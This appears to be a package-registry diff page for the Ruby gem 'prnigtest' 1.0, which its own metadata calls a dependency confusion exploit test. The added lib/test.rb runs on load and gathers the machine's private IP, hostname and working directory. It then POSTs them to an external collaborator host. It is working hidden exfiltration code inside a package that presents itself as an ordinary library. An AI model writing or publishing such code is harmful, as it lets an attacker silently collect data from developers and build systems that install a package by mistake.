prnigtest 1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of prnigtest might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/test.rb +28 -0
- metadata +43 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: cecf2ce2c977592344518a98fa64e4304d8e077e697af969d5e053ce617db653
|
|
4
|
+
data.tar.gz: 02d841629b488e9ac7b11035762ac00520baee05b6bf5e95c65dddb50d80f5a3
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 82d0a9ad49a9a7fc07a521416a84630fc65a175a14c2c0bd45c87bb1b8e9e2049b235a7cb8375aade2833d696d2f0ccc81a713566b63920dc0e2a6313145c480
|
|
7
|
+
data.tar.gz: 2d4edd0483b3696cb7c33963c437247a5d13888801028aa91eeea2d23a4e9e1931436661e95e3de4aa7f5eefda14b827451687bddf04a23c67927f83f5bfb9bd
|
data/lib/test.rb
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
module Lol
|
|
2
|
+
|
|
3
|
+
require 'json'
|
|
4
|
+
require 'net/http'
|
|
5
|
+
require 'socket'
|
|
6
|
+
|
|
7
|
+
#Private IP
|
|
8
|
+
privip = UDPSocket.open {|s| s.connect("64.233.187.99", 1); s.addr.last}
|
|
9
|
+
#Hostname
|
|
10
|
+
hostname = Socket.gethostname
|
|
11
|
+
#Current directory
|
|
12
|
+
dir = Dir.pwd
|
|
13
|
+
|
|
14
|
+
#Pubcli bin url:- https://pipedream.com OR burpCollaborate url
|
|
15
|
+
uri = URI('https://gj37ige4mn9bp1v1hd3zf0ud94fv3xrm.oastify.com')
|
|
16
|
+
req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
|
|
17
|
+
|
|
18
|
+
req.body = {
|
|
19
|
+
private_ip: privip,
|
|
20
|
+
hostname: hostname,
|
|
21
|
+
current_directory: dir
|
|
22
|
+
}.to_json
|
|
23
|
+
|
|
24
|
+
Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|
|
|
25
|
+
http.request(req)
|
|
26
|
+
end
|
|
27
|
+
|
|
28
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: prnigtest
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: '1.0'
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- test
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: bin
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2024-07-27 00:00:00.000000000 Z
|
|
12
|
+
dependencies: []
|
|
13
|
+
description: This Ruby package vulnerable to dependency confusion
|
|
14
|
+
email: test@gmail.com
|
|
15
|
+
executables: []
|
|
16
|
+
extensions: []
|
|
17
|
+
extra_rdoc_files: []
|
|
18
|
+
files:
|
|
19
|
+
- lib/test.rb
|
|
20
|
+
homepage: https://rubygems.org/gems/testprnig
|
|
21
|
+
licenses:
|
|
22
|
+
- MIT
|
|
23
|
+
metadata: {}
|
|
24
|
+
post_install_message:
|
|
25
|
+
rdoc_options: []
|
|
26
|
+
require_paths:
|
|
27
|
+
- lib
|
|
28
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
29
|
+
requirements:
|
|
30
|
+
- - ">="
|
|
31
|
+
- !ruby/object:Gem::Version
|
|
32
|
+
version: '0'
|
|
33
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
34
|
+
requirements:
|
|
35
|
+
- - ">="
|
|
36
|
+
- !ruby/object:Gem::Version
|
|
37
|
+
version: '0'
|
|
38
|
+
requirements: []
|
|
39
|
+
rubygems_version: 3.4.20
|
|
40
|
+
signing_key:
|
|
41
|
+
specification_version: 4
|
|
42
|
+
summary: Dependency confusion exploit test
|
|
43
|
+
test_files: []
|